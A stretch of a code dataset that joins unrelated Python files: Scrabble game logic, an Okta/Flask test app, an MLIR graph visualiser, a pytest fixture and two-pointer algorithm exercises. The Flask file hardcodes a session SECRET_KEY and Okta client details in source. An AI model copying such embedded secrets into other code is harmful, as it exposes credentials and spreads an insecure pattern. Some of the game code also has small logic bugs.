self.board.validate_word_inside_board(word, location, orientation) == False:\n raise OutOfRange(\"Word out of range\")\n elif self.current_player.player_tiles(word) == False:\n raise OutOfTiles(\"Not enough tiles\")\n elif not self.get_word(word):\n raise InvalidWord(\"Invalid word\")\n else:\n return True\n\n\n def get_word(self, word):\n res = dle.search_by_word(word)\n result = res.to_dict()\n if res is None:\n raise DictionaryConnectionError(\"No conection\")\n if result == {'title': 'Diccionario de la lengua española | Edición del Tricentenario | RAE - ASALE'}:\n return False\n else:\n return True\n\n def put_word(self, word, location, orientation):\n players_tiles = self.current_player.tiles\n if players_tiles == False:\n raise OutOfTiles()\n else:\n for i in range(len(word)):\n f = location[0]\n c = location[1]\n if orientation == \"H\":\n cell = self.board.grid[f][c + i]\n elif orientation == \"V\":\n cell = self.board.grid[f + i][c]\n tile = self.get_tile_from_player(players_tiles, word[i])\n if tile != None and cell.letter == None:\n cell.letter = tile\n self.current_player.tiles.remove(tile)\n elif tile != None and cell.letter.letter == tile.letter:\n self.current_player.tiles.remove(tile)\n self.board.list_of_words(word, location, orientation) \n\n def get_tile_from_player(self, player_tiles, letter):\n for tiles in player_tiles:\n if tiles.letter == letter:\n return tiles\n return None\n\n def player_tiles_list(self):\n letras = []\n for i in range(len(self.current_player.tiles)):\n letras.append(self.current_player.tiles[i].letter)\n return letras\n \n\n def player_tiles_values(self):\n valores = []\n for i in range(len(self.current_player.tiles)):\n valores.append(self.current_player.tiles[i].value)\n return valores\n\n def calculate_word_value(self, word, location, orientation):\n f = location[0]\n c = location[1]\n counter = 0\n word_multiplier = 1\n\n for letrita in range(len(word)):\n if orientation == \"H\":\n cell = self.board.grid[f][c + letrita]\n elif orientation == \"V\":\n cell = self.board.grid[f + letrita][c]\n\n if cell.letter.letter is None:\n return 0\n \n if cell.state == False:\n counter = counter + cell.letter.value\n \n if cell.multiplier_type == 'letter' and cell.state == True:\n counter = counter + (cell.letter.value * cell.multiplier * word_multiplier)\n\n if cell.multiplier_type == 'word' and word_multiplier != 1 and cell.state == True:\n counter = (counter + (cell.letter.value * word_multiplier))\n word_multiplier = cell.multiplier\n counter = counter * word_multiplier\n\n if cell.multiplier_type == 'word' and word_multiplier == 1 and cell.state == True:\n word_multiplier = cell.multiplier\n counter = ((counter + cell.letter.value) * word_multiplier)\n cell.used_cell(cell)\n self.current_player.points += counter\n return counter \n\n def calculate_word_without_any_multiplier(self, word, location, orientation):\n f = location[0]\n c = location[1]\n counter = 0\n\n for letrita in range(len(word)):\n if orientation == \"H\":\n cell = self.board.grid[f][c + letrita]\n elif orientation == \"V\":\n cell = self.board.grid[f + letrita][c]\n counter = counter + cell.letter.value\n \n for i in range(len(word)):\n f = location[0]\n c = location[1]\n if orientation == \"H\":\n c += i\n elif orientation == \"V\":\n f += i\n self.cells_values[(f , c)] = counter\n\n def vertical_word_check_for_sum(self, word, location):\n izquierda = []\n derecha = []\n new_words = []\n search = None\n for i in range(len(word)): \n f = location[0] + i\n c = location[1]\n celda_actual = self.board.grid[f][c].letter\n if c - 1 >= 0:\n celda_i = self.board.grid[f][c - 1].letter\n if c + 1 <= 14:\n celda_d = self.board.grid[f][c + 1].letter\n if celda_i != None and celda_d == None and celda_actual == None:\n izquierda.append((f , c - 1))\n search = self.board.get_word_from_cell(izquierda)\n if search[0][2] == \"V\":\n new_word_list = self.get_horizontal_word((f , c), word[i])\n new_word = new_word_list[0]\n if self.get_word(new_word) == False:\n raise WordDoesntExists(' The word', new_word, 'does not exist.')\n else:\n new_words.append(new_word_list)\n else:\n new_word = search[0][0] + word[i]\n if self.get_word(new_word) == True:\n self.board.words_on_board[search[0][1]][0] = new_word\n new_words.append([new_word, self.board.words_on_board[search[0][1]][2] , \"V\" ])\n else:\n raise WordDoesntExists(' The word', new_word, 'does not exist.')\n elif celda_d != None and celda_i == None and celda_actual == None:\n derecha.append((f , c + 1))\n search = self.board.get_word_from_cell(derecha)\n if search[0][2] == \"V\":\n new_word_list = self.get_horizontal_word((f , c), word[i])\n new_word = new_word_list[0]\n if self.get_word(new_word) == False:\n raise WordDoesntExists(' The word', new_word, 'does not exist.')\n else:\n new_words.append(new_word_list)\n else:\n new_word = word[i] + search[0][0] \n if self.get_word(new_word) == True:\n self.board.words_on_board[search[0][1]][0] = new_word\n new_words.append([new_word, (f , c), \"H\" ])\n else:\n raise WordDoesntExists(' The word', new_word, 'does not exist.')\n elif celda_d != None and celda_i != None and celda_actual == None:\n derecha.append((f , c + 1))\n if search == None:\n search = self.board.get_word_from_cell(derecha)\n for w in range(len(search)):\n if search[w][2] == \"V\":\n new_word_list = self.get_horizontal_word((f , c), word[i])\n new_word = new_word_list[0]\n if self.get_word(new_word) == False:\n raise WordDoesntExists(' The word', new_word, 'does not exist.')\n else:\n new_words.append(new_word_list)\n if len(new_words) != 0:\n return new_words\n else:\n return None\n\n def horizontal_word_check_for_sum(self, word, location):\n up = []\n down = []\n new_words = []\n search = None\n for i in range(len(word)):\n f = location[0]\n c = location[1] + i\n celda_actual = self.board.grid[f][c].letter\n if f + 1 <= 14:\n celda_u = self.board.grid[f - 1][c].letter\n if f - 1 >= 0:\n celda_d = self.board.grid[f + 1][c].letter\n if celda_u != None and celda_d == None and celda_actual == None:\n up.append((f - 1, c))\n search = self.board.get_word_from_cell(up)\n if search[0][2] == \"H\":\n new_word_list = self.get_vertical_word((f , c), word[i])\n new_word = new_word_list[0]\n if self.get_word(new_word) == False:\n raise WordDoesntExists(' The word', new_word, 'does not exist.')\n else:\n new_words.append(new_word_list)\n else:\n new_word = search[0][0] + word[i] \n if self.get_word(new_word) == True:\n self.board.words_on_board[search[0][1]][0] = new_word\n new_words.append([new_word, self.board.words_on_board[search[0][1]][2], \"V\" ])\n else:\n raise WordDoesntExists(' The word', new_word, 'does not exist.')\n elif celda_d != None and celda_u == None and celda_actual == None:\n down.append((f + 1 , c))\n search = self.board.get_word_from_cell(down)\n if search[0][2] == \"H\":\n new_word_list = self.get_vertical_word((f , c), word[i])\n new_word = new_word_list[0]\n if self.get_word(new_word) == False:\n raise WordDoesntExists(' The word', new_word, 'does not exist.')\n else:\n new_words.append(new_word_list)\n else:\n new_word = word[i] + search[0][0] \n if self.get_word(new_word) == True:\n self.board.words_on_board[search[0][1]][0] = new_word\n new_words.append([new_word, (f , c), \"V\" ])\n else:\n raise WordDoesntExists(' The word', new_word, 'does not exist.')\n elif celda_d != None and celda_u != None and celda_actual == None:\n up.append((f + 1, c))\n if search == None:\n search = self.board.get_word_from_cell(up)\n for w in range(len(search)):\n if search[w][2] == \"H\":\n new_word_list = self.get_vertical_word((f , c), word[i])\n new_word = new_word_list[0]\n if self.get_word(new_word) == False:\n raise WordDoesntExists(' The word', new_word, 'does not exist.')\n else:\n new_words.append(new_word_list)\n if len(new_words) != 0:\n return new_words\n else:\n return None\n\n def get_vertical_word(self, cell, letter):\n k = 1\n new_word = letter\n new_word_info = [\"V\"]\n while letter != None:\n f = cell[0]\n c = cell[1]\n if f + k <= 14 and f - k >= 0:\n celda_1 = self.board.grid[f + k][c].letter\n celda_2 = self.board.grid[f - k][c].letter\n if celda_1 != None:\n letter_1 = celda_1.letter\n new_word += letter_1\n if celda_2 != None:\n letter_2 = celda_2.letter\n new_word = letter_2 + new_word\n if (f - k) < (f - k + 1):\n new_word_info.insert(0, (f - k, c))\n else: \n break\n k +=1\n if len(new_word_info) < 2:\n new_word_info.insert(0, cell)\n new_word_info.insert(0,new_word)\n return new_word_info\n\n \n def get_horizontal_word(self, cell, letter):\n k = 1\n new_word = letter\n new_word_info = [\"H\"]\n while letter != None:\n f = cell[0]\n c = cell[1]\n if c + k <= 14 and c - k >= 0:\n celda_1 = self.board.grid[f][c - k].letter\n celda_2 = self.board.grid[f][c + k].letter\n if celda_1 != None:\n letter_1 = celda_1.letter\n new_word = letter_1 + new_word\n if (c - k) < (c - k + 1):\n new_word_info.insert(0, (f, c - k))\n if celda_2 != None:\n letter_2 = celda_2.letter\n new_word += letter_2\n else: \n break\n k +=1\n if len(new_word_info) < 2:\n new_word_info.insert(0, cell)\n new_word_info.insert(0, new_word) \n return new_word_info \n\n\n def validate_word_place_board(self, word, location, orientation):\n f = location[0]\n c = location[1]\n empty = self.board.is_empty()\n celdas = []\n for i in range(len(word)):\n if orientation == \"H\":\n cell = (f , c + i)\n elif orientation == \"V\":\n cell = (f + i , c)\n if empty == True:\n celdas.append(cell)\n if (7,7) not in celdas:\n raise NotInTheMiddle(\"In the first turn, the word must cross (7 , 7)\")\n elif empty == False:\n if self.board.grid[cell[0]][cell[1]].letter != None and self.board.grid[cell[0]][cell[1]].letter.letter == word[i]:\n self.current_player.tiles.append(self.board.grid[cell[0]][cell[1]].letter)\n elif self.board.grid[cell[0]][cell[1]].letter != None and self.board.grid[cell[0]][cell[1]].letter.letter != word[i]:\n raise WrongCross(\"Crossing letters are different\")\n if self.board.validate_word_when_not_empty(word, location, orientation) == True:\n return True\n return False\n\n def is_playing(self):\n return self.playing\n \n def end_game(self):\n print(self.winner())\n self.playing == False\n \n def printbb(self):\n self.board.print_board()\n\n def get_player_info(self):\n print('Player: ', self.current_player.id)\n print('Points: ', self.current_player.points)\n print(self.player_tiles_list())\n valores = self.player_tiles_values()\n string = \" \"\n for value in valores:\n string += str(value) + \" \"\n print(string)\n\n def add_word(self, word, location, orientation):\n try:\n self.validate_word_place_board(word, location, orientation)\n self.validate_word(word, location, orientation)\n \n\n if orientation == \"H\":\n third_validation = self.horizontal_word_check_for_sum(word, location)\n elif orientation == \"V\":\n third_validation = self.vertical_word_check_for_sum(word, location)\n\n self.put_word(word, location, orientation)\n self.current_player.points += self.calculate_word_value(word, location, orientation)\n\n if third_validation != None:\n for i in range(len(third_validation)):\n word = third_validation[i][0]\n location = third_validation[i][1]\n orientation = third_validation[i][2]\n self.current_player.points += self.calculate_word_value(word, location, orientation)\n \n self.current_player.take_to_seven()\n print('Points: ', self.current_player.points)\n except Exception as e:\n print(e)\n \n def change_tiles_player(self):\n tiles_player = self.player_tiles_list()\n print(tiles_player)\n change = []\n while True:\n try:\n til = input(\"How many tiles would you like to change?: \")\n if not til.isnumeric():\n raise ValueError\n break\n except ValueError:\n print(\"Please enter a number\") \n print(tiles_player)\n string = \" \"\n largo = len(tiles_player)\n for n in range(largo):\n string += str(n) + \" \"\n print(string)\n for i in range(int(til)):\n while True: \n try:\n tile = input(\"Select a tile: \")\n if not tile.isnumeric():\n raise ValueError\n else:\n change.append(int(tile))\n break\n except ValueError:\n print(\"Please enter a number\")\n self.current_player.change_tiles(change)\n print(\"New tiles: \",\n self.player_tiles_list())\n \n def check_white(self):\n player_tiles = self.current_player.tiles\n invalid_letters = ['K', 'W']\n for tile in player_tiles:\n if tile.letter == \"White\":\n print(\"You have a white tile. Would you like to use it?\")\n choice = input(\"Y/N: \")\n choice = choice.upper()\n if choice == \"Y\":\n new_letter = input(\"Choose a letter: \")\n new_letter = new_letter.upper()\n try:\n if (not new_letter.isalpha()) or (new_letter in invalid_letters):\n raise InvalidWord(\"Please enter a valid letter\")\n elif new_letter.isalpha() and not new_letter in invalid_letters:\n tile.letter = new_letter\n except Exception as e:\n print(e)\n else:\n pass\n\n def winner(self):\n winner = None\n highest_score = 0\n for player in self.players:\n if player.points > highest_score:\n highest_score = player.points\n winner = player\n if winner != None:\n print('The winner is player ', winner.id, 'with', highest_score, 'points')\n else:\n print('No one wins')\n\n \n\n\n","repo_name":"um-computacion-tm/scrabble-2023-MaguiMaluff","sub_path":"game/scrabble_game.py","file_name":"scrabble_game.py","file_ext":"py","file_size_in_byte":19331,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"11023838284","text":"import os\nimport json\n\nfrom flask import Flask, make_response, send_from_directory, render_template, request\n\n\"\"\"\nGLOBAL VARIABLES ########################################################################################################\n\"\"\"\napp = Flask(__name__)\napp.debug = False\napp.config.update({\n \"SECRET_KEY\": \"6w_#w*~AVts3!*yd&C]jP0(x_1ssd]MVgzfAw8%fF+c@|ih0s1H&yZQC&-u~O[--\" # For the session\n})\n\n\nconfig = {\n \"okta_org\": \"https://mr2.oktapreview.com\",\n \"okta_issuer\": \"https://mr2.oktapreview.com/oauth2/default\",\n \"okta_client_id\": \"0oaptjqrjbqnsGCFL0h7\",\n \"okta_redirect_uri\": \"https://64ce115419584bd0ab36357c1b42c00b.vfs.cloud9.us-east-1.amazonaws.com/\"\n}\n\n\n\"\"\"\nROUTES ##################################################################################################################\n\"\"\"\n\n\n@app.route('/<path:filename>')\ndef serve_static_html(filename):\n \"\"\" serve_static_html() generic route function to serve files in the 'static' folder \"\"\"\n root_dir = os.path.dirname(os.path.realpath(__file__))\n return send_from_directory(os.path.join(root_dir, 'static'), filename)\n\n\n@app.route('/')\ndef index():\n \"\"\" handler for the root url path of the app \"\"\"\n print(\"index()\")\n message = \"\"\n\n response = make_response(render_template(\"index.html\", app_config=config, message=message))\n\n return response\n\n\n@app.route('/token_exp_hook', methods=[\"POST\"])\ndef token_exp_hook():\n print(\"token_exp_hook()\")\n print(\"request.form: {0}\".format(request.form))\n request_json = request.get_json()\n print(\"request.get_json(): {0}\".format(request_json))\n \n response = {}\n return response\n \n \n\"\"\"\nMAIN ##################################################################################################################\n\"\"\"\nif __name__ == \"__main__\":\n # This is to run on c9.io.. you may need to change or make your own runner\n print( \"config.app: {0}\".format(json.dumps(config, indent=4, sort_keys=True)) )\n app.run(host=os.getenv(\"IP\", \"0.0.0.0\"), port=int(os.getenv(\"PORT\", 8080)))","repo_name":"srecinto/okta-authcode-pkce-test","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2049,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"9425730806","text":"import networkx as nx\nimport collections\nimport functools\n\nimport sys\nsys.path.append('../..')\nfrom utils.mlir_parser import MlirParser\n\n\nclass Graph():\n def __init__(self, mlir_file):\n self.parser = MlirParser(mlir_file)\n self.ops = self.parser.ops\n self.graph = nx.DiGraph()\n\n bottom_of_layer = collections.defaultdict(list)\n for idx, op in enumerate(self.ops):\n self.graph.add_node(idx)\n for opd in op.opds:\n bottom_of_layer[opd].append(idx)\n\n self.fake_node = [len(self.graph.nodes)]\n self.edge_name = dict()\n for idx, op in enumerate(self.ops):\n for opd in op.outputs:\n in_ = False\n for b_ in bottom_of_layer:\n if opd in b_:\n in_ = True\n break\n ids = bottom_of_layer[op.name]\n if not in_ or len(ids) == 0:\n fake_id = self.fake_node[-1]\n self.fake_node.append(fake_id)\n self.graph.add_node(fake_id)\n self.edge_name[(idx, fake_id)] = opd\n self.graph.add_edge(idx, fake_id)\n self.fake_node.append(fake_id + 1)\n continue\n for x in ids:\n self.edge_name[(idx, x)] = opd\n self.graph.add_edge(idx, x)\n self.edge_id = {v: k for k, v in self.edge_name.items()}\n self.__build_flow()\n\n def node(self, id):\n return self.ops[id]\n\n def edge(self, id):\n return self.edge_name[id]\n\n def edge_id_by_name(self, name):\n return self.edge_id[name]\n\n def cy_nodes(self):\n nodes = [{\n 'data': {\n 'id': str(id),\n 'label': op.type,\n 'width': len(op.type) * 8\n },\n 'classes':\n ' '.join(map(str, self.de_flow_node(id))) + \" \" +\n ' '.join(map(lambda x: 'nb{}'.format(x), self.neighbors(id)))\n } for id, op in enumerate(self.ops)]\n\n f_node = [{\n 'data': {\n 'id': str(x),\n 'label': \"Fake Node\",\n 'width': 10\n },\n 'classes': \"fake-node\"\n } for x in self.fake_node]\n\n for d in self.scc:\n if len(d) > 1:\n id = str(len(nodes))\n scc_name = '#SCC' + id\n nodes.append({'data': {'id': scc_name, 'lable': scc_name}})\n for s in d:\n nodes[s]['data']['parent'] = scc_name\n return nodes + f_node\n\n def cy_edges(self):\n def de_flow_edge(s, t):\n return self.de_flow_node(s) | self.de_flow_node(t)\n\n return [{\n 'data': {\n 'id': str((s, t)),\n 'source': str(s),\n 'target': str(t),\n 'label': self.edge((s, t))\n },\n 'classes': ' '.join(map(str, de_flow_edge(s, t)))\n } for s, t in self.graph.edges]\n\n def save_wailea_g(self, out='out.txt'):\n with open(out, 'w') as f:\n f.write('NODES\\n')\n for n in self.graph.nodes:\n f.write('{}\\n'.format(n))\n f.write('\\n')\n f.write('EDGES\\n')\n for e in self.graph.edges:\n f.write('{} {} 1 1\\n'.format(*e))\n\n def __build_flow(self):\n tps_g = list(nx.strongly_connected_components(self.graph))\n\n def base_add(tps, associate_f):\n col = collections.defaultdict(set)\n for d in tps:\n for s in d:\n associate_node = set(associate_f(s))\n col[s].update(associate_node)\n for i in associate_node:\n col[s].update(col[i])\n if len(d) > 1: # SCC\n scc = set()\n for s in d:\n scc.update(col[s])\n scc.update(d)\n for s in d:\n col[s] = scc\n return col\n\n descendants = base_add(tps_g, self.graph.successors)\n ancestors = base_add(reversed(tps_g), self.graph.predecessors)\n flow_node = {\n n: descendants[n] | ancestors[n] | {n}\n for n in self.graph.nodes\n }\n self.descendants = lambda x: descendants[x]\n self.ancestors = lambda x: ancestors[x]\n self.flow_node = lambda x: flow_node[x]\n self.scc = tps_g\n\n def __ancestors(self, source):\n return nx.algorithms.dag.ancestors(self.graph, source)\n\n def __descendants(self, source):\n return nx.algorithms.dag.descendants(self.graph, source)\n\n def __flow(self, me):\n return self.__ancestors(me) | self.__descendants(me) | {me}\n\n @functools.lru_cache()\n def de_flow_node(self, me):\n return set(self.graph.nodes) - self.flow_node(me)\n\n def neighbors(self, me):\n from itertools import chain\n return chain(self.graph.successors(me), self.graph.predecessors(me))\n","repo_name":"sophgo/tpu-mlir","sub_path":"python/tools/visual/graph.py","file_name":"graph.py","file_ext":"py","file_size_in_byte":5097,"program_lang":"python","lang":"en","doc_type":"code","stars":366,"dataset":"github-code","pt":"21"} +{"seq_id":"2053487213","text":"import os\nimport tempfile\nimport pytest\nfrom api import api\n\n\"\"\"Initialize the testing environment\n\nCreates an app for testing that has the database and note files replaced by\ntemporary files and that has the configuration flag ``TESTING`` set to ``True``.\n\n\"\"\"\n\n# The following function is derived from an example in the Flask documentation\n# found at the following URL: http://flask.pocoo.org/docs/1.0/testing/. The\n# Flask license statement has been included below as attribution.\n#\n# Copyright (c) 2010 by the Pallets team.\n#\n# Some rights reserved.\n#\n# Redistribution and use in source and binary forms of the software as well as\n# documentation, with or without modification, are permitted provided that the\n# following conditions are met:\n#\n# * Redistributions of source code must retain the above copyright notice,\n# this list of conditions and the following disclaimer.\n# * Redistributions in binary form must reproduce the above copyright\n# notice, this list of conditions and the following disclaimer in the\n# documentation and/or other materials provided with the distribution.\n# * Neither the name of the copyright holder nor the names of its\n# contributors may be used to endorse or promote products derived from\n# this software without specific prior written permission.\n#\n# THIS SOFTWARE AND DOCUMENTATION IS PROVIDED BY THE COPYRIGHT HOLDERS AND\n# CONTRIBUTORS “AS IS” AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A\n# PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR\n# CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,\n# EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n# PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR\n# BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER\n# IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE AND DOCUMENTATION, EVEN IF\n# ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n\n@pytest.fixture\ndef client():\n \"\"\"Creates testing environment and app and handles cleanup\n\n Creates testing environment, initializes app for that environment, and then\n cleans up the environment. The environment is composed of:\n\n * Temporary database file\n * Temporary note file\n\n :return: App for testing\n \"\"\"\n\n db_file, api.config['DATABASE'] = tempfile.mkstemp()\n note_file, api.config[\"NOTE_PATH\"] = tempfile.mkstemp()\n api.config['TESTING'] = True\n client = api.test_client()\n\n #with api.app_context():\n #api.init_db()\n\n yield client\n\n os.close(db_file)\n os.unlink(api.config['DATABASE'])\n\n os.close(note_file)\n os.unlink(api.config[\"NOTE_PATH\"])\n","repo_name":"culturemesh/culturemesh-api","sub_path":"test/unit/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2868,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"20969357312","text":"class Solution:\n\n # 125. Valid Palindrome\n\n def ispalindrome(self,s):\n left,right = 0,len(s)-1\n while left < right:\n while left < right and not self.is_valid(s[left]):\n left +=1\n while left < right and not self.is_valid(s[right]):\n right -=1\n if left < right and s[left].lower() != s[right].lower():\n return False\n left+=1\n right-=1\n return True\n\n def is_valid(self,s):\n return s.isalnum()\n\n\n # 680. Valid Palindrome II\n\n\n def validPalindrome(self, s):\n if s is None:\n return False\n left,right = self.finddifference(0,len(s)-1) #找到形成不了palindrome的左右下标\n if left >= right: # 先检查原本是否已经是palindrome\n return True\n return isPalindrome(s,left+1,right) or isPalindrome(s,left,right-1)\n #如果还不是移动一位再检查\n def isPalindrome(self,left,right):\n left,right = self.finddifference(s,left,right)\n return left>=right #如果左边大于右边代表通过了\n\n def finddifference(self,s,left,right): #检查并找到形成不了palindrome的地方\n while left < right:\n if s[left] != s[right]:\n return left,right\n left +=1\n right -=1\n return left,right\n\n\n\n # 1. Two Sum\n def twosum(self,nums,target):\n numdict = {}\n for i ,num in enumerate(nums):\n remainder = target - num\n if remainder not in numdict:\n numdict[num] = i\n else:\n return [numdict[remainder],i]\n\n # 167. Two Sum II - Input Array Is Sorted\n def twoSum(self, numbers, target):\n l, r = 0, len(numbers) - 1\n while l < r:\n s = numbers[l] + numbers[r]\n if s == target:\n return [l + 1, r + 1]\n elif s < target:\n l += 1\n else:\n r -= 1\n\n\n # 15. 3Sum\n def threeSum(self, nums):\n res = []\n nums.sort()\n if not nums or len(nums)<3:\n return res\n\n for i,target in enumerate(nums):\n if i>0 and target == nums[i-1]: #过滤掉重复的target\n continue\n #选一个其他两个做two sum\n l,r = i+1,len(nums)-1\n while l < r: #经典two pointer 算法\n threesum = target + nums[l] + nums[r]\n if threesum > 0:\n r -=1\n elif threesum < 0:\n l+=1\n else:\n res.append([target,nums[l],nums[r]]) #将当前结果加入然后继续往后遍历\n l+=1\n while nums[l] == nums[l-1] and l <r: #如果是一样的就继续跳过\n l+=1\n return res\n\n\n # 611. Valid Triangle Number\n\n def triangleNumber(self, nums):\n res = 0\n if not nums and len(nums)<3:\n return res\n nums.sort()\n for i in range(2,len(nums)):\n target = nums[i]\n left,right = 0,i-1\n while left < right:\n twosum = nums[left]+nums[right]\n if twosum > target:\n res += right - left\n right -=1\n else:\n left +=1\n return res\n\n\n # 454. 4Sum II\n def fourSumCount(self, nums1, nums2, nums3, nums4):\n numdict = {}\n for a in nums1:\n for b in nums2:\n sum = a + b\n numdict[sum]=numdict.get(sum,0)+1\n count = 0\n for c in nums3:\n for d in nums4:\n sum = c + d\n count += numdict.get(-sum,0)\n return count\n\n\n # 18. 4Sum\n def fourSum(self, nums, target):\n nums.sort()\n res,quad = [],[]\n def ksum(k,start,target):\n if k!=2: # 等于2的时候是base case用two sum的方法两个pointer\n for i in range(start,len(nums)-k+1): #len(nums)-k+1为后面做好空格\n if i>start and nums[i] == nums[i-1]: #将重复的去掉\n continue\n quad.append(nums[i])\n ksum(k-1,i+1,target-nums[i]) #减去当前点的然后再用two sum做\n quad.pop()\n return\n\n\n left,right = start,len(nums)-1\n while left < right:\n twosum = nums[left]+nums[right]\n if twosum < target:\n left +=1\n elif twosum > target:\n right-=1\n else:\n res.append(quad+[nums[left],nums[right]])\n left+=1\n while left < right and nums[left] == nums[left-1]:\n left+=1\n ksum(4,0,target)\n return res\n\n # partition array 经典分区\n def partitionarray(self,nums,k):\n if not nums:\n return 0\n left,right = 0,len(nums)-1\n while left <= right: #如果用left<right 循环在left==right结束,还需一个判断nums[left]\n # 左指针寻找比k大的数\n while left <= right and nums[left]<k:\n left +=1\n # 右执政寻找比k小的数\n while left <= right and nums[right]>=k:\n right-=1\n if left <= right :\n #交换左右指针两个指针上的数都到了正确的index上\n nums[left],nums[right]=nums[right],nums[left]\n left+=1\n right-=1\n return left\n\n\n\n # 144 · Interleaving Positive and Negative Numbers\n #与wiggle sort不一样这里知道pivot是多少\n #负多正少,left=1,right=length-1\n #负少正多,left=0,right=length-2\n #正负相等,left=0,right=length-1\n\n def rearange(self,A):\n neg_cnt = self.partiton(A)\n pos_cnt = len(A)-neg_cnt\n left = 1 if pos_cnt < neg_cnt else 0\n right = len(A) - (2 if pos_cnt > neg_cnt else 1)\n while left < right:\n A[left],A[right]=A[right],A[left]\n left+=2\n right-=2\n return A\n\n\n def partiton(self,nums):\n left,right = 0,len(nums)-1\n while left <= right:\n while left<=right and nums[left]<0:\n left +=1\n while left<= right and nums[right]>=0:\n right -=1\n if left<=right:\n nums[left],nums[right]=nums[right],nums[left]\n left+=1\n right-=1\n return left\n\n # 324. Wiggle Sort II\n def wiggleSort(self, nums):\n nums.sort()\n print(nums)\n half = len(nums[::2]) #nums[1::2] 奇数位的index\n print(nums[::2]) #nums[::2] 偶数位的index\n nums[::2], nums[1::2] = nums[:half][::-1], nums[half:][::-1] #nums里的偶数index放排序后中间较小的index\n return nums\n\n\n # 75. Sort Colors\n def sortColors(self, nums):\n # 因为sort中颜色用数字代表所以partion两次数字即可\n self.partitioncolor(nums,1)\n self.partitioncolor(nums,2)\n return nums\n\n def partitioncolor(self,nums,k):\n # 指向<k区间的最后一个元素\n last_smallp= -1\n for i in range(len(nums)):\n # 如果nums[i]<k,需要交换并右移指针\n if nums[i]<k:\n #指针先右移一位,指向当前元素对应位置\n #然后进行交换\n last_smallp +=1\n nums[last_smallp],nums[i]=nums[i],nums[last_smallp]\n return last_smallp +1\n\n\n\n # 143 · Sort Colors II\n def sortColors2(self, colors, k):\n if not colors or len(colors)<2:\n return\n self.sort(colors,1,k,0,len(colors)-1)\n return colors\n\n def sort(self,colors,color_from,color_to,index_from,index_to):\n if color_from == color_to:\n return\n\n mid_color = (color_from+color_to)//2\n left,right = index_from,index_to\n while left <= right:\n while left <= right and colors[left]<mid_color:\n left +=1\n while left <= right and colors[right]>=mid_color:\n right-=1\n if left <= right:\n colors[left],colors[right]=colors[right],colors[left]\n left+=1\n right-=1\n\n self.sort(colors,color_from,mid_color,index_from,right)\n self.sort(colors,mid_color+1,color_to,left,index_to)\n\n\n\n\n # 283. Move Zeroes\n def moveZeroes(self, nums):\n fillpointer,movepointer = 0,0\n while movepointer < len(nums):\n if nums[movepointer] != 0:\n if fillpointer != movepointer:\n nums[fillpointer],nums[movepointer]=nums[movepointer],nums[fillpointer]\n fillpointer +=1\n movepointer +=1\n return nums\n\n def moveZeroes2(self, nums):\n l, r = 0, 0\n while r < len(nums):\n if nums[l] == 0:\n if nums[r] != 0:\n nums[l], nums[r] = nums[r], nums[l]\n l += 1\n r += 1\n else:\n r += 1\n else:\n l += 1\n r += 1\n\n\n\n\n\n\n\n\n\n\n\nobject = Solution()\nprint(object.ispalindrome(\"A man, a plan, a canal: Panama\"))\nprint(object.twosum([2,7,11,15],9))\nprint(object.threeSum([-1,0,1,2,-1,-4]))\nprint(object.triangleNumber([2,2,3,4]))\nprint(object.fourSumCount([1,2],[-2,-1],[-1,2],[0,2]))\nprint(object.fourSum([1,0,-1,0,-2,2],0))\nprint(object.rearange([-1, -2, -3, 4, 5, 6]))\nprint(object.wiggleSort([-1, -2, -3, 4, 5, 6]))\nprint(object.sortColors([2,0,2,1,1,0]))\nprint(object.sortColors2([3,2,2,1,4],4))\nprint(object.moveZeroes([0,1,0,3,12]))","repo_name":"peter6286/Intern_","sub_path":"nine_pointer.py","file_name":"nine_pointer.py","file_ext":"py","file_size_in_byte":9964,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"19951959137","text":"\"\"\"this module implements methods and classes around point results\"\"\"\nfrom pathlib import Path\nimport json\nimport numpy as np\n\nfrom .calc import (\n calc_OER_rate,\n calc_dissolution_rate,\n calc_exchange_rate,\n calc_potential,\n calc_current,\n)\nfrom .tools import singleton_decorator, CounterWithFile\nfrom .constants import TOF_DIR, TOF_ID_FILE, FARADAY_CONSTANT\nfrom .experiment import open_experiment\n\n\n@singleton_decorator\nclass TOFCounter(CounterWithFile):\n \"\"\"Counts measurements. 'id' increments the counter. 'last()' retrieves last id\"\"\"\n\n _file = TOF_ID_FILE\n\n\ndef all_tofs(tof_dir=TOF_DIR):\n \"\"\"returns an iterator that yields measurements in order of their id\"\"\"\n N_tofs = TOFCounter().last()\n for n in range(1, N_tofs + 1):\n try:\n tof = TurnOverFrequency.open(n, tof_dir=tof_dir)\n except FileNotFoundError as e:\n continue\n else:\n yield tof\n\n\ndef all_tof_sets(tof_dir=TOF_DIR):\n tof_sets = {}\n for tof in all_tofs(tof_dir=tof_dir):\n e_id = tof.e_id\n tspan = tuple(int(t) for t in tof.tspan)\n if not (e_id, tspan) in tof_sets:\n tof_sets[(e_id, tspan)] = TurnOverSet()\n tof_sets[(e_id, tspan)].add_tof(tof)\n yield from tof_sets.values()\n\n\nclass TurnOverSet:\n def __init__(\n self,\n t_ids=None,\n ):\n \"\"\"Initiate a set of turn-over-frequencies taken from one point in an experiment\n\n Args:\n t_ids (dict): {tof_type: t_id} where tof_type is the action the tof\n describes 